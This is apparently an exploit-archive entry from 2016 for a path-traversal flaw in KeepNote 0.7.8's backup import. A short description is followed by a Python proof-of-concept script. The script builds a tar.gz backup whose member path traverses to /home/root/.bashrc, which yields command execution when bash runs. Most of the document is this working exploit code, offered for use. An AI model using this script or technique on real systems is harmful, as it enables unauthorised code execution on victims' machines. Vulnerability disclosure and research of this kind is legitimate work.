发布 2016-09-29 漏洞条目

KeepNote 0.7.8 – Command Execution

Exploit Source

# Title : KeepNote 0.7.8 Remote Command Execution

# Date : 29/09/2016

# Author : R-73eN

# Twitter : https://twitter.com/r_73en

# Tested on : KeepNote 0.7.8 (Kali Linux , and Windows 7)

# Software : http://keepnote.org/index.shtml#download

# Vendor : ~

# DESCRIPTION:

# When the KeepNote imports a backup which is actuallt a tar.gz file doesn't checks for " ../ " characters

# which makes it possible to do a path traversal and write anywhere in the system(where the user has writing permissions).

# This simple POC will write to the /home/root/.bashrc the file test.txt to get command execution when the bash is run.

# There are a lot of ways but i choose this just for demostration purposes and its supposed we run the keepnote application

# as root (default in kali linux which this bug is tested).

banner = ""

banner +=" ___ __ ____ _ _ \n"

banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"

banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"

banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"

banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"

print banner

import tarfile, sys

if(len(sys.argv) != 2):

print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"

print "[+] Example: python exploit.py test.txt"

exit(0)

print "[+] Creating Exploit File [+]"

filename = "KeepNoteBackup.tar.gz"

path = "../../../../../../../home/root/.bashrc"

tf = tarfile.open(filename,"w:gz")

tf.add(sys.argv[1], path)

tf.close()

print "[+] Created KeepNoteBackup.tar.gz successfully [+]"

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